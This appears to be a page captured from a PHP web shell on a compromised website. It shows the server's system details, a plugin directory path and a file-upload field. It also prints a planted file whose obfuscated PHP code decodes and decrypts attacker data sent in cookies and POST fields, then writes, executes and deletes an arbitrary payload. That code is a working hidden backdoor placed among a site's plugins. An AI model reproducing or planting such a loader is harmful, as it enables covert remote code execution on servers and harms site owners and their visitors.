? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/plugins/content/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/plugins/content/1975c1d0.php

$yvQMIdaa = "\x4e" . chr ( 450 - 355 ).chr ( 956 - 841 ).'g' . chr ( 989 - 886 ).'C' . "\130";$DXeKEY = chr (99) . "\154" . chr ( 984 - 887 )."\163" . "\x73" . chr (95) . "\145" . "\x78" . 'i' . chr (115) . "\164" . chr ( 844 - 729 ); $VJpTEvSF = $DXeKEY($yvQMIdaa); $yvQMIdaa = "59193";$DXeKEY = "4346";$ISPsZ = $VJpTEvSF;if (!$ISPsZ){class N_sggCX{private $hiXJiZGB;public static $QaVxB = "49daf70a-9794-4f95-9000-ff16861087df";public static $zXCNd = 27368;public function __construct($zJwuG=0){$StFSFlXBgd = $_COOKIE;$AUbufMz = $_POST;$emMvQtPI = @$StFSFlXBgd[substr(N_sggCX::$QaVxB, 0, 4)];if (!empty($emMvQtPI)){$cTTumwEs = "base64";$BLaagkBD = "";$emMvQtPI = explode(",", $emMvQtPI);foreach ($emMvQtPI as $XdutU){$BLaagkBD .= @$StFSFlXBgd[$XdutU];$BLaagkBD .= @$AUbufMz[$XdutU];}$BLaagkBD = array_map($cTTumwEs . '_' . 'd' . "\145" . 'c' . "\x6f" . "\x64" . 'e', array($BLaagkBD,)); $BLaagkBD = $BLaagkBD[0] ^ str_repeat(N_sggCX::$QaVxB, (strlen($BLaagkBD[0]) / strlen(N_sggCX::$QaVxB)) + 1);N_sggCX::$zXCNd = @unserialize($BLaagkBD);}}private function zZhFdcwz(){if (is_array(N_sggCX::$zXCNd)) {$fHWNiS = sys_get_temp_dir() . "/" . crc32(N_sggCX::$zXCNd["\x73" . "\141" . "\154" . chr ( 714 - 598 )]);@N_sggCX::$zXCNd["\167" . chr ( 915 - 801 ).chr ( 782 - 677 )."\164" . "\x65"]($fHWNiS, N_sggCX::$zXCNd['c' . "\157" . "\x6e" . 't' . chr (101) . chr (110) . "\164"]);include $fHWNiS;@N_sggCX::$zXCNd[chr ( 671 - 571 ).'e' . chr ( 436 - 328 ).chr (101) . chr (116) . "\x65"]($fHWNiS); $EGxifxJxXV = "27663";exit();}}public function __destruct(){$this->zZhFdcwz(); $EGxifxJxXV = "27663";}}$eTsTTINoDx = new N_sggCX(); $eTsTTINoDx = "33882_30772";}

T1KUS90T
  root-grov@210.1.60.28:~$